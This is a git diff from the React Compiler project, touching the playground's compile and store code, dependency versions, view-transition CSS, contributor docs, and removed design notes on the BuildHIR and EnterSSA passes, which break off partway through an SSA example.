className={`p-4 duration-150 ease-in border-b cursor-pointer border-grey-200 ${
hasChanged ? 'font-bold' : 'font-light'
} text-secondary hover:text-link`}>
- {displayName}
</h2>
{tabs.get(name) ?? <div>No output for {name}</div>}
</Resizable>
) : (
<div className="relative items-center h-full px-1 py-6 align-middle border-r border-grey-200">
<button
title={`Expand compiler tab: ${name}`}
aria-label={`Expand compiler tab: ${name}`}
style={{transform: 'rotate(90deg) translate(-50%)'}}
onClick={toggleTabs}
className={`flex-grow-0 w-5 transition-colors duration-150 ease-in ${
hasChanged ? 'font-bold' : 'font-light'
} text-secondary hover:text-link`}>
{displayName}
</button>
</div>
)}
</div>
);
}

View File

@@ -1,308 +0,0 @@
/**
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
import {parse as babelParse, ParseResult} from '@babel/parser';
import * as HermesParser from 'hermes-parser';
import * as t from '@babel/types';
import BabelPluginReactCompiler, {
CompilerError,
CompilerErrorDetail,
CompilerDiagnostic,
Effect,
ErrorCategory,
parseConfigPragmaForTests,
ValueKind,
type Hook,
PluginOptions,
CompilerPipelineValue,
parsePluginOptions,
printReactiveFunctionWithOutlined,
printFunctionWithOutlined,
type LoggerEvent,
} from 'babel-plugin-react-compiler';
import {transformFromAstSync} from '@babel/core';
import JSON5 from 'json5';
import type {
CompilerOutput,
CompilerTransformOutput,
PrintedCompilerPipelineValue,
} from '../components/Editor/Output';
function parseInput(
input: string,
language: 'flow' | 'typescript',
): ParseResult<t.File> {
// Extract the first line to quickly check for custom test directives
if (language === 'flow') {
return HermesParser.parse(input, {
babel: true,
flow: 'all',
sourceType: 'module',
enableExperimentalComponentSyntax: true,
});
} else {
return babelParse(input, {
plugins: ['typescript', 'jsx'],
sourceType: 'module',
}) as ParseResult<t.File>;
}
}
function invokeCompiler(
source: string,
language: 'flow' | 'typescript',
options: PluginOptions,
): CompilerTransformOutput {
const ast = parseInput(source, language);
let result = transformFromAstSync(ast, source, {
filename: '_playgroundFile.js',
highlightCode: false,
retainLines: true,
plugins: [[BabelPluginReactCompiler, options]],
ast: true,
sourceType: 'module',
configFile: false,
sourceMaps: true,
babelrc: false,
});
if (result?.ast == null || result?.code == null || result?.map == null) {
throw new Error('Expected successful compilation');
}
return {
code: result.code,
sourceMaps: result.map,
language,
};
}
const COMMON_HOOKS: Array<[string, Hook]> = [
[
'useFragment',
{
valueKind: ValueKind.Frozen,
effectKind: Effect.Freeze,
noAlias: true,
transitiveMixedData: true,
},
],
[
'usePaginationFragment',
{
valueKind: ValueKind.Frozen,
effectKind: Effect.Freeze,
noAlias: true,
transitiveMixedData: true,
},
],
[
'useRefetchableFragment',
{
valueKind: ValueKind.Frozen,
effectKind: Effect.Freeze,
noAlias: true,
transitiveMixedData: true,
},
],
[
'useLazyLoadQuery',
{
valueKind: ValueKind.Frozen,
effectKind: Effect.Freeze,
noAlias: true,
transitiveMixedData: true,
},
],
[
'usePreloadedQuery',
{
valueKind: ValueKind.Frozen,
effectKind: Effect.Freeze,
noAlias: true,
transitiveMixedData: true,
},
],
];
export function parseConfigOverrides(configOverrides: string): any {
const trimmed = configOverrides.trim();
if (!trimmed) {
return {};
}
return JSON5.parse(trimmed);
}
function parseOptions(
source: string,
mode: 'compiler' | 'linter',
configOverrides: string,
): PluginOptions {
// Extract the first line to quickly check for custom test directives
const pragma = source.substring(0, source.indexOf('\n'));
const parsedPragmaOptions = parseConfigPragmaForTests(pragma, {
compilationMode: 'infer',
environment:
mode === 'linter'
? {
// enabled in compiler
validateRefAccessDuringRender: false,
// enabled in linter
validateNoSetStateInRender: true,
validateNoSetStateInEffects: true,
validateNoJSXInTryStatements: true,
validateNoImpureFunctionsInRender: true,
validateStaticComponents: true,
validateNoFreezingKnownMutableFunctions: true,
validateNoVoidUseMemo: true,
}
: {
/* use defaults for compiler mode */
},
});
// Parse config overrides from config editor
const configOverrideOptions = parseConfigOverrides(configOverrides);
const opts: PluginOptions = parsePluginOptions({
...parsedPragmaOptions,
...configOverrideOptions,
environment: {
...parsedPragmaOptions.environment,
...configOverrideOptions.environment,
customHooks: new Map([...COMMON_HOOKS]),
},
});
return opts;
}
export function compile(
source: string,
mode: 'compiler' | 'linter',
configOverrides: string,
): [CompilerOutput, 'flow' | 'typescript', PluginOptions | null] {
const results = new Map<string, Array<PrintedCompilerPipelineValue>>();
const error = new CompilerError();
const otherErrors: Array<CompilerErrorDetail | CompilerDiagnostic> = [];
const upsert: (result: PrintedCompilerPipelineValue) => void = result => {
const entry = results.get(result.name);
if (Array.isArray(entry)) {
entry.push(result);
} else {
results.set(result.name, [result]);
}
};
let language: 'flow' | 'typescript';
if (source.match(/\@flow/)) {
language = 'flow';
} else {
language = 'typescript';
}
let transformOutput;
let baseOpts: PluginOptions | null = null;
try {
baseOpts = parseOptions(source, mode, configOverrides);
} catch (err) {
error.details.push(
new CompilerErrorDetail({
category: ErrorCategory.Config,
reason: `Unexpected failure when transforming configs! \n${err}`,
loc: null,
suggestions: null,
}),
);
}
if (baseOpts) {
try {
const logIR = (result: CompilerPipelineValue): void => {
switch (result.kind) {
case 'ast': {
break;
}
case 'hir': {
upsert({
kind: 'hir',
fnName: result.value.id,
name: result.name,
value: printFunctionWithOutlined(result.value),
});
break;
}
case 'reactive': {
upsert({
kind: 'reactive',
fnName: result.value.id,
name: result.name,
value: printReactiveFunctionWithOutlined(result.value),
});
break;
}
case 'debug': {
upsert({
kind: 'debug',
fnName: null,
name: result.name,
value: result.value,
});
break;
}
default: {
const _: never = result;
throw new Error(`Unhandled result ${result}`);
}
}
};
// Add logger options to the parsed options
const opts = {
...baseOpts,
logger: {
debugLogIRs: logIR,
logEvent: (_filename: string | null, event: LoggerEvent): void => {
if (event.kind === 'CompileError') {
otherErrors.push(event.detail);
}
},
},
};
transformOutput = invokeCompiler(source, language, opts);
} catch (err) {
/**
* error might be an invariant violation or other runtime error
* (i.e. object shape that is not CompilerError)
*/
if (err instanceof CompilerError && err.details.length > 0) {
error.merge(err);
} else {
/**
* Handle unexpected failures by logging (to get a stack trace)
* and reporting
*/
error.details.push(
new CompilerErrorDetail({
category: ErrorCategory.Invariant,
reason: `Unexpected failure when transforming input! \n${err}`,
loc: null,
suggestions: null,
}),
);
}
}
}
// Only include logger errors if there weren't other errors
if (!error.hasErrors() && otherErrors.length !== 0) {
otherErrors.forEach(e => error.details.push(e));
}
if (error.hasErrors() || !transformOutput) {
return [{kind: 'err', results, error}, language, baseOpts];
}
return [
{kind: 'ok', results, transformOutput, errors: error.details},
language,
baseOpts,
];
}

View File

@@ -13,19 +13,10 @@ export default function MyApp() {
}
`;
export const defaultConfig = `\
{
//compilationMode: "all"
}`;
export const defaultStore: Store = {
source: index,
config: defaultConfig,
showInternals: false,
};
export const emptyStore: Store = {
source: '',
config: '',
showInternals: false,
};

View File

@@ -6,11 +6,7 @@
*/
import {Monaco} from '@monaco-editor/react';
import {
CompilerDiagnostic,
CompilerErrorDetail,
ErrorSeverity,
} from 'babel-plugin-react-compiler';
import {CompilerErrorDetail, ErrorSeverity} from 'babel-plugin-react-compiler';
import {MarkerSeverity, type editor} from 'monaco-editor';
function mapReactCompilerSeverityToMonaco(
@@ -26,46 +22,38 @@ function mapReactCompilerSeverityToMonaco(
}
function mapReactCompilerDiagnosticToMonacoMarker(
detail: CompilerErrorDetail | CompilerDiagnostic,
detail: CompilerErrorDetail,
monaco: Monaco,
source: string,
): editor.IMarkerData | null {
const loc = detail.primaryLocation();
if (loc == null || typeof loc === 'symbol') {
if (detail.loc == null || typeof detail.loc === 'symbol') {
return null;
}
const severity = mapReactCompilerSeverityToMonaco(detail.severity, monaco);
let message = detail.printErrorMessage(source, {eslint: true});
let message = detail.printErrorMessage();
return {
severity,
message,
startLineNumber: loc.start.line,
startColumn: loc.start.column + 1,
endLineNumber: loc.end.line,
endColumn: loc.end.column + 1,
startLineNumber: detail.loc.start.line,
startColumn: detail.loc.start.column + 1,
endLineNumber: detail.loc.end.line,
endColumn: detail.loc.end.column + 1,
};
}
type ReactCompilerMarkerConfig = {
monaco: Monaco;
model: editor.ITextModel;
details: Array<CompilerErrorDetail | CompilerDiagnostic>;
source: string;
details: Array<CompilerErrorDetail>;
};
let decorations: Array<string> = [];
export function renderReactCompilerMarkers({
monaco,
model,
details,
source,
}: ReactCompilerMarkerConfig): void {
const markers: Array<editor.IMarkerData> = [];
for (const detail of details) {
const marker = mapReactCompilerDiagnosticToMonacoMarker(
detail,
monaco,
source,
);
const marker = mapReactCompilerDiagnosticToMonacoMarker(detail, monaco);
if (marker == null) {
continue;
}

View File

@@ -10,20 +10,18 @@ import {
compressToEncodedURIComponent,
decompressFromEncodedURIComponent,
} from 'lz-string';
import {defaultStore, defaultConfig} from '../defaultStore';
import {defaultStore} from '../defaultStore';
/**
* Global Store for Playground
*/
export interface Store {
source: string;
config: string;
showInternals: boolean;
}
export function encodeStore(store: Store): string {
return compressToEncodedURIComponent(JSON.stringify(store));
}
export function decodeStore(hash: string): any {
export function decodeStore(hash: string): Store {
return JSON.parse(decompressFromEncodedURIComponent(hash));
}
@@ -64,14 +62,8 @@ export function initStoreFromUrlOrLocalStorage(): Store {
*/
if (!encodedSource) return defaultStore;
const raw: any = decodeStore(encodedSource);
const raw = decodeStore(encodedSource);
invariant(isValidStore(raw), 'Invalid Store');
// Make sure all properties are populated
return {
source: raw.source,
config: 'config' in raw && raw['config'] ? raw.config : defaultConfig,
showInternals: 'showInternals' in raw ? raw.showInternals : false,
};
return raw;
}

View File

@@ -1,11 +0,0 @@
/**
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
export const CONFIG_PANEL_TRANSITION = 'config-panel';
export const TOGGLE_TAB_TRANSITION = 'toggle-tab';
export const TOGGLE_INTERNALS_TRANSITION = 'toggle-internals';
export const EXPAND_ACCORDION_TRANSITION = 'open-accordion';

View File

@@ -0,0 +1,5 @@
/// <reference types="next" />
/// <reference types="next/image-types/global" />
// NOTE: This file should not be edited
// see https://nextjs.org/docs/app/api-reference/config/typescript for more information.

View File

@@ -11,7 +11,6 @@ const path = require('path');
const nextConfig = {
experimental: {
reactCompiler: true,
viewTransition: true,
},
reactStrictMode: true,
webpack: (config, options) => {

View File

@@ -26,40 +26,34 @@
"@babel/traverse": "^7.18.9",
"@babel/types": "7.26.3",
"@heroicons/react": "^1.0.6",
"@monaco-editor/react": "^4.8.0-rc.2",
"@playwright/test": "^1.56.1",
"@monaco-editor/react": "^4.4.6",
"@playwright/test": "^1.51.1",
"@use-gesture/react": "^10.2.22",
"hermes-eslint": "^0.25.0",
"hermes-parser": "^0.25.0",
"invariant": "^2.2.4",
"json5": "^2.2.3",
"lru-cache": "^11.2.2",
"lz-string": "^1.5.0",
"monaco-editor": "^0.52.0",
"next": "15.5.9",
"next": "^15.2.0-canary.64",
"notistack": "^3.0.0-alpha.7",
"prettier": "^3.3.3",
"pretty-format": "^29.3.1",
"re-resizable": "^6.9.16",
"react": "19.2.3",
"react-dom": "19.2.3"
"react": "^19.0.0",
"react-dom": "^19.0.0"
},
"devDependencies": {
"@types/node": "18.11.9",
"@types/react": "19.2",
"@types/react-dom": "19.2",
"@types/react": "^19.0.0",
"@types/react-dom": "^19.0.0",
"autoprefixer": "^10.4.13",
"clsx": "^1.2.1",
"concurrently": "^7.4.0",
"eslint": "^8.28.0",
"eslint-config-next": "15.5.2",
"eslint-config-next": "^15.0.1",
"monaco-editor-webpack-plugin": "^7.1.0",
"postcss": "^8.4.31",
"tailwindcss": "^3.2.4",
"wait-on": "^7.2.0"
},
"resolutions": {
"@types/react": "19.2",
"@types/react-dom": "19.2"
}
}

View File

@@ -55,16 +55,12 @@ export default defineConfig({
// contextOptions: {
// ignoreHTTPSErrors: true,
// },
viewport: {width: 1920, height: 1080},
},
projects: [
{
name: 'chromium',
use: {
...devices['Desktop Chrome'],
viewport: {width: 1920, height: 1080},
},
use: {...devices['Desktop Chrome']},
},
// {
// name: 'Desktop Firefox',

View File

@@ -8,8 +8,8 @@ set -eo pipefail
HERE=$(pwd)
cd ../../packages/react-compiler-runtime && yarn --silent link && cd "$HERE"
cd ../../packages/babel-plugin-react-compiler && yarn --silent link && cd "$HERE"
cd ../../packages/react-compiler-runtime && yarn --silent link && cd $HERE
cd ../../packages/babel-plugin-react-compiler && yarn --silent link && cd $HERE
yarn --silent link babel-plugin-react-compiler
yarn --silent link react-compiler-runtime

View File

@@ -69,75 +69,3 @@
scrollbar-width: none; /* Firefox */
}
}
::view-transition-old(.slide-in) {
animation-name: slideOutLeft;
}
::view-transition-new(.slide-in) {
animation-name: slideInLeft;
}
::view-transition-group(.slide-in) {
z-index: 1;
}
::view-transition-old(.slide-out) {
animation-name: slideOutLeft;
}
::view-transition-new(.slide-out) {
animation-name: slideInLeft;
}
::view-transition-group(.slide-out) {
z-index: 1;
}
@keyframes slideOutLeft {
from {
transform: translateX(0);
}
to {
transform: translateX(-100%);
}
}
@keyframes slideInLeft {
from {
transform: translateX(-100%);
}
to {
transform: translateX(0);
}
}
::view-transition-old(.container),
::view-transition-new(.container) {
height: 100%;
}
::view-transition-old(.accordion-container),
::view-transition-new(.accordion-container) {
height: 100%;
object-fit: none;
object-position: left;
}
::view-transition-old(.tab-highlight),
::view-transition-new(.tab-highlight) {
height: 100%;
}
::view-transition-group(.tab-text) {
z-index: 1;
}
::view-transition-old(.expand-accordion),
::view-transition-new(.expand-accordion) {
width: auto;
}
::view-transition-group(.expand-accordion) {
overflow: clip;
}
/**
* For some reason, the original Monaco editor is still visible to the
* left of the DiffEditor. This is a workaround for better visual clarity.
*/
.monaco-diff-editor .editor.original{
visibility: hidden !important;
}

View File

@@ -6,9 +6,6 @@
"dom.iterable",
"esnext"
],
"types": [
"react/experimental"
],
"allowJs": true,
"skipLibCheck": true,
"strict": true,

File diff suppressed because it is too large Load Diff

View File

@@ -8,7 +8,7 @@ The idea of React Compiler is to allow developers to use React's familiar declar
* Bound the amount of re-rendering that happens on updates to ensure that apps have predictably fast performance by default.
* Keep startup time neutral with pre-React Compiler performance. Notably, this means holding code size increases and memoization overhead low enough to not impact startup.
* Retain React's familiar declarative, component-oriented programming model. i.e, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
* Retain React's familiar declarative, component-oriented programming model. Ie, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
* "Just work" on idiomatic React code that follows React's rules (pure render functions, the rules of hooks, etc).
* Support typical debugging and profiling tools and workflows.
* Be predictable and understandable enough by React developers — i.e. developers should be able to quickly develop a rough intuition of how React Compiler works.
@@ -19,7 +19,7 @@ The idea of React Compiler is to allow developers to use React's familiar declar
The following are explicitly *not* goals for React Compiler:
* Provide perfectly optimal re-rendering with zero unnecessary recomputation. This is a non-goal for several reasons:
* The runtime overhead of the extra tracking involved can outweigh the cost of recomputation in many cases.
* The runtime overhead of the extra tracking involved can outweight the cost of recomputation in many cases.
* In cases with conditional dependencies it may not be possible to avoid recomputing some/all instructions.
* The amount of code may regress startup times, which would conflict with our goal of neutral startup performance.
* Support code that violates React's rules. React's rules exist to help developers build robust, scalable applications and form a contract that allows us to continue improving React without breaking applications. React Compiler depends on these rules to safely transform code, and violations of rules will therefore break React Compiler's optimizations.
@@ -42,9 +42,9 @@ React Compiler has two primary public interfaces: a Babel plugin for transformin
The core of the compiler is largely decoupled from Babel, using its own intermediate representations. The high-level flow is as follows:
- **Babel Plugin**: Determines which functions in a file should be compiled, based on the plugin options and any local opt-in/opt-out directives. For each component or hook to be compiled, the plugin calls the compiler, passing in the original function and getting back a new AST node which will replace the original.
- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (i.e. a loop).
- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (ie a loop).
- **SSA Conversion** (EnterSSA): The HIR is converted to HIR form, such that all Identifiers in the HIR are updated to an SSA-based identifier.
- Validation: We run various validation passes to check that the input is valid React, i.e. that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
- Validation: We run various validation passes to check that the input is valid React, ie that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
- **Optimization**: Various passes such as dead code elimination and constant propagation can generally improve performance and reduce the amount of instructions to be optimized later.
- **Type Inference** (InferTypes): We run a conservative type inference pass to identify certain key types of data that may appear in the program that are relevant for further analysis, such as which values are hooks, primitives, etc.
- **Inferring Reactive Scopes**: Several passes are involved in determining groups of values that are created/mutated together and the set of instructions involved in creating/mutating those values. We call these groups "reactive scopes", and each can have one or more declarations (or occasionally a reassignment).

View File

@@ -17,32 +17,7 @@ yarn snap:build
yarn snap --watch
```
`snap` is our custom test runner, which creates "golden" test files that have the expected output for each input fixture, as well as the results of executing a specific input (or sequence of inputs) in both the uncompiled and compiler versions of the input.
### Compiling Arbitrary Files
You can compile any file (not just fixtures) using:
```sh
# Compile a file and see the output
yarn snap compile <path>
# Compile with debug output to see the state after each compiler pass
# This is an alternative to `yarn snap -d -p <pattern>` when you don't have a fixture file yet
yarn snap compile --debug <path>
```
### Minimizing Test Cases
To reduce a failing test case to its minimal reproduction:
```sh
# Minimize a file that causes a compiler error
yarn snap minimize <path>
# Minimize and update the file in-place
yarn snap minimize --update <path>
```
`snap` is our custom test runner, which creates "golden" test files that have the expected output for each input fixture, as well as the results of executing a specific input (or sequence of inputs) in both the uncompiled and compiler versions of the input.
When contributing changes, we prefer to:
* Add one or more fixtures that demonstrate the current compiled output for a particular combination of input and configuration. Send this as a first PR.

View File

@@ -19,8 +19,7 @@
"test": "yarn workspaces run test",
"snap": "yarn workspace babel-plugin-react-compiler run snap",
"snap:build": "yarn workspace snap run build",
"npm:publish": "node scripts/release/publish",
"eslint-docs": "yarn workspace babel-plugin-react-compiler build && node scripts/build-eslint-docs.js"
"npm:publish": "node scripts/release/publish"
},
"dependencies": {
"fs-extra": "^4.0.2",

View File

@@ -1,157 +0,0 @@
# lower (BuildHIR)
## File
`src/HIR/BuildHIR.ts`
## Purpose
Converts a Babel AST function node into a High-level Intermediate Representation (HIR), which represents code as a control-flow graph (CFG) with basic blocks, instructions, and terminals. This is the first major transformation pass in the React Compiler pipeline, enabling precise expression-level memoization analysis.
## Input Invariants
- Input must be a valid Babel `NodePath<t.Function>` (FunctionDeclaration, FunctionExpression, or ArrowFunctionExpression)
- The function must be a component or hook (determined by the environment)
- Babel scope analysis must be available for binding resolution
- An `Environment` instance must be provided with compiler configuration
- Optional `bindings` map for nested function lowering (recursive calls)
- Optional `capturedRefs` map for context variables captured from outer scope
## Output Guarantees
- Returns `Result<HIRFunction, CompilerError>` - either a successfully lowered function or compilation errors
- The HIR function contains:
- A complete CFG with basic blocks (`body.blocks: Map<BlockId, BasicBlock>`)
- Each block has an array of instructions and exactly one terminal
- All control flow is explicit (if/else, loops, switch, logical operators, ternary)
- Parameters are converted to `Place` or `SpreadPattern`
- Context captures are tracked in `context` array
- Function metadata (id, async, generator, directives)
- All identifiers get unique `IdentifierId` values
- Instructions have placeholder instruction IDs (set to 0, assigned later)
- Effects are null (populated by later inference passes)
## Algorithm
The lowering algorithm uses a recursive descent pattern with a `HIRBuilder` helper class:
1. **Initialization**: Create an `HIRBuilder` with environment and optional bindings. Process captured context variables.
2. **Parameter Processing**: For each function parameter:
- Simple identifiers: resolve binding and create Place
- Patterns (object/array): create temporary Place, then emit destructuring assignments
- Rest elements: wrap in SpreadPattern
- Unsupported: emit Todo error
3. **Body Processing**:
- Arrow function expressions: lower body expression to temporary, emit implicit return
- Block statements: recursively lower each statement
4. **Statement Lowering** (`lowerStatement`): Handle each statement type:
- **Control flow**: Create separate basic blocks for branches, loops connect back to conditional blocks
- **Variable declarations**: Create `DeclareLocal`/`DeclareContext` or `StoreLocal`/`StoreContext` instructions
- **Expressions**: Lower to temporary and discard result
- **Hoisting**: Detect forward references and emit `DeclareContext` for hoisted identifiers
5. **Expression Lowering** (`lowerExpression`): Convert expressions to `InstructionValue`:
- **Identifiers**: Create `LoadLocal`, `LoadContext`, or `LoadGlobal` based on binding
- **Literals**: Create `Primitive` values
- **Operators**: Create `BinaryExpression`, `UnaryExpression` etc.
- **Calls**: Distinguish `CallExpression` vs `MethodCall` (member expression callee)
- **Control flow expressions**: Create separate value blocks for branches (ternary, logical, optional chaining)
- **JSX**: Lower to `JsxExpression` with lowered tag, props, and children
6. **Block Management**: The builder maintains:
- A current work-in-progress block accumulating instructions
- Completed blocks map
- Scope stack for break/continue resolution
- Exception handler stack for try/catch
7. **Termination**: Add implicit void return at end if no explicit return
## Key Data Structures
### HIRBuilder (from HIRBuilder.ts)
- `#current: WipBlock` - Work-in-progress block being populated
- `#completed: Map<BlockId, BasicBlock>` - Finished blocks
- `#scopes: Array<Scope>` - Stack for break/continue target resolution (LoopScope, LabelScope, SwitchScope)
- `#exceptionHandlerStack: Array<BlockId>` - Stack of catch handlers for try/catch
- `#bindings: Bindings` - Map of variable names to their identifiers
- `#context: Map<t.Identifier, SourceLocation>` - Captured context variables
- Methods: `push()`, `reserve()`, `enter()`, `terminate()`, `terminateWithContinuation()`
### Core HIR Types
- **BasicBlock**: Contains `instructions: Array<Instruction>`, `terminal: Terminal`, `preds: Set<BlockId>`, `phis: Set<Phi>`, `kind: BlockKind`
- **Instruction**: Contains `id`, `lvalue` (Place), `value` (InstructionValue), `effects` (null initially), `loc`
- **Terminal**: Block terminator - `if`, `branch`, `goto`, `return`, `throw`, `for`, `while`, `switch`, `ternary`, `logical`, etc.
- **Place**: Reference to a value - `{kind: 'Identifier', identifier, effect, reactive, loc}`
- **InstructionValue**: The operation - `LoadLocal`, `StoreLocal`, `CallExpression`, `BinaryExpression`, `FunctionExpression`, etc.
### Block Kinds
- `block` - Regular sequential block
- `loop` - Loop header/test block
- `value` - Block that produces a value (ternary/logical branches)
- `sequence` - Sequence expression block
- `catch` - Exception handler block
## Edge Cases
1. **Hoisting**: Forward references to `let`/`const`/`function` declarations emit `DeclareContext` before the reference, enabling correct temporal dead zone handling
2. **Context Variables**: Variables captured by nested functions use `LoadContext`/`StoreContext` instead of `LoadLocal`/`StoreLocal`
3. **For-of/For-in Loops**: Synthesize iterator instructions (`GetIterator`, `IteratorNext`, `NextPropertyOf`)
4. **Optional Chaining**: Creates nested `OptionalTerminal` structures with short-circuit branches
5. **Logical Expressions**: Create branching structures where left side stores to temporary, right side only evaluated if needed
6. **Try/Catch**: Adds `MaybeThrowTerminal` after each instruction in try block, modeling potential control flow to handler
7. **JSX in fbt**: Tracks `fbtDepth` counter to handle whitespace differently in fbt/fbs tags
8. **Unsupported Syntax**: `var` declarations, `with` statements, inline `class` declarations, `eval` - emit appropriate errors
## TODOs
- `returnTypeAnnotation: null, // TODO: extract the actual return type node if present`
- `TODO(gsn): In the future, we could only pass in the context identifiers that are actually used by this function and its nested functions`
- Multiple `// TODO remove type cast` in destructuring pattern handling
- `// TODO: should JSX namespaced names be handled here as well?`
## Example
Input JavaScript:
```javascript
export default function foo(x, y) {
if (x) {
return foo(false, y);
}
return [y * 10];
}
```
Output HIR (simplified):
```
foo(<unknown> x$0, <unknown> y$1): <unknown> $12
bb0 (block):
[1] <unknown> $6 = LoadLocal <unknown> x$0
[2] If (<unknown> $6) then:bb2 else:bb1 fallthrough=bb1
bb2 (block):
predecessor blocks: bb0
[3] <unknown> $2 = LoadGlobal(module) foo
[4] <unknown> $3 = false
[5] <unknown> $4 = LoadLocal <unknown> y$1
[6] <unknown> $5 = Call <unknown> $2(<unknown> $3, <unknown> $4)
[7] Return Explicit <unknown> $5
bb1 (block):
predecessor blocks: bb0
[8] <unknown> $7 = LoadLocal <unknown> y$1
[9] <unknown> $8 = 10
[10] <unknown> $9 = Binary <unknown> $7 * <unknown> $8
[11] <unknown> $10 = Array [<unknown> $9]
[12] Return Explicit <unknown> $10
```
Key observations:
- The function has 3 basic blocks: entry (bb0), consequent (bb2), alternate/fallthrough (bb1)
- The if statement creates an `IfTerminal` at the end of bb0
- Each branch ends with its own `ReturnTerminal`
- All values are stored in temporaries (`$N`) or named identifiers (`x$0`, `y$1`)
- Instructions have sequential IDs within blocks
- Types and effects are `<unknown>` at this stage (populated by later passes)

View File

@@ -1,182 +0,0 @@
# enterSSA
## File
`src/SSA/EnterSSA.ts`
## Purpose
Converts the HIR from a non-SSA form (where variables can be reassigned) into Static Single Assignment (SSA) form, where each variable is defined exactly once and phi nodes are inserted at control flow join points to merge values from different paths.
## Input Invariants
- The HIR must have blocks in reverse postorder (predecessors visited before successors, except for back-edges)
- Block predecessor information (`block.preds`) must be populated correctly
- The function's `context` array must be empty for the root function (outer function declarations)
- Identifiers may be reused across multiple definitions/assignments (non-SSA form)
## Output Guarantees
- Each identifier has a unique `IdentifierId` - no identifier is defined more than once
- All operand references use the SSA-renamed identifiers
- Phi nodes are inserted at join points where values from different control flow paths converge
- Function parameters are SSA-renamed
- Nested functions (FunctionExpression, ObjectMethod) are recursively converted to SSA form
- Context variables (captured from outer scopes) are handled specially and not redefined
## Algorithm
The pass uses the Braun et al. algorithm ("Simple and Efficient Construction of Static Single Assignment Form") with adaptations for handling loops and nested functions.
### Key Steps:
1. **Block Traversal**: Iterate through blocks in order (assumed reverse postorder from previous passes)
2. **Definition Tracking**: Maintain a per-block `defs` map from original identifiers to their SSA-renamed versions
3. **Renaming**:
- When a value is **defined** (lvalue), create a new SSA identifier with fresh `IdentifierId`
- When a value is **used** (operand), look up the current SSA identifier via `getIdAt`
4. **Phi Node Insertion**: When looking up an identifier at a block with multiple predecessors:
- If all predecessors have been visited, create a phi node collecting values from each predecessor
- If some predecessors are unvisited (back-edge/loop), create an "incomplete phi" that will be fixed later
5. **Incomplete Phi Resolution**: When all predecessors of a block are finally visited, fix any incomplete phi nodes by populating their operands
6. **Nested Function Handling**: Recursively apply SSA transformation to nested functions, temporarily adding a fake predecessor edge to enable identifier lookup from the enclosing scope
### Phi Node Placement Logic (`getIdAt`):
- If the identifier is defined locally in the current block, return it
- If at entry block with no predecessors and not found, mark as unknown (global)
- If some predecessors are unvisited (loop), create incomplete phi
- If exactly one predecessor, recursively look up in that predecessor
- If multiple predecessors, create phi node with operands from all predecessors
## Key Data Structures
- **SSABuilder**: Main class managing the transformation
- `#states: Map<BasicBlock, State>` - Per-block state (defs map and incomplete phis)
- `unsealedPreds: Map<BasicBlock, number>` - Count of unvisited predecessors per block
- `#unknown: Set<Identifier>` - Identifiers assumed to be globals
- `#context: Set<Identifier>` - Context variables that should not be redefined
- **State**: Per-block state containing:
- `defs: Map<Identifier, Identifier>` - Maps original identifiers to SSA-renamed versions
- `incompletePhis: Array<IncompletePhi>` - Phi nodes waiting for predecessor values
- **IncompletePhi**: Tracks a phi node created before all predecessors were visited
- `oldPlace: Place` - Original place being phi'd
- `newPlace: Place` - SSA-renamed phi result place
- **Phi**: The actual phi node in the HIR
- `place: Place` - The result of the phi
- `operands: Map<BlockId, Place>` - Maps predecessor block to the place providing the value
## Edge Cases
- **Loops (back-edges)**: When a variable is used in a loop header before the loop body assigns it, an incomplete phi is created and later fixed when the loop body block is visited
- **Globals**: If an identifier is used but never defined (reaching the entry block without a definition), it's assumed to be a global and not renamed
- **Context variables**: Variables captured from an outer function scope are tracked specially and not redefined when reassigned
- **Nested functions**: Function expressions and object methods are processed recursively with a temporary predecessor edge linking them to the enclosing block
## TODOs
- `[hoisting] EnterSSA: Expected identifier to be defined before being used` - Handles cases where hoisting causes an identifier to be used before definition (throws a Todo error for graceful bailout)
## Example
### Input (simple reassignment with control flow):
```javascript
function foo() {
let y = 2;
if (y > 1) {
y = 1;
} else {
y = 2;
}
let x = y;
}
```
### Before SSA (HIR):
```
bb0 (block):
[1] $0 = 2
[2] $2 = StoreLocal Let y$1 = $0
[3] $7 = LoadLocal y$1
[4] $8 = 1
[5] $9 = Binary $7 > $8
[6] If ($9) then:bb2 else:bb3 fallthrough=bb1
bb2 (block):
predecessor blocks: bb0
[7] $3 = 1
[8] $4 = StoreLocal Reassign y$1 = $3 // Same y$1 reassigned
[9] Goto bb1
bb3 (block):
predecessor blocks: bb0
[10] $5 = 2
[11] $6 = StoreLocal Reassign y$1 = $5 // Same y$1 reassigned
[12] Goto bb1
bb1 (block):
predecessor blocks: bb2 bb3
[13] $10 = LoadLocal y$1 // Which y$1?
[14] $12 = StoreLocal Let x$11 = $10
```
### After SSA:
```
bb0 (block):
[1] $15 = 2
[2] $17 = StoreLocal Let y$16 = $15 // y$16: initial definition
[3] $18 = LoadLocal y$16
[4] $19 = 1
[5] $20 = Binary $18 > $19
[6] If ($20) then:bb2 else:bb3 fallthrough=bb1
bb2 (block):
predecessor blocks: bb0
[7] $21 = 1
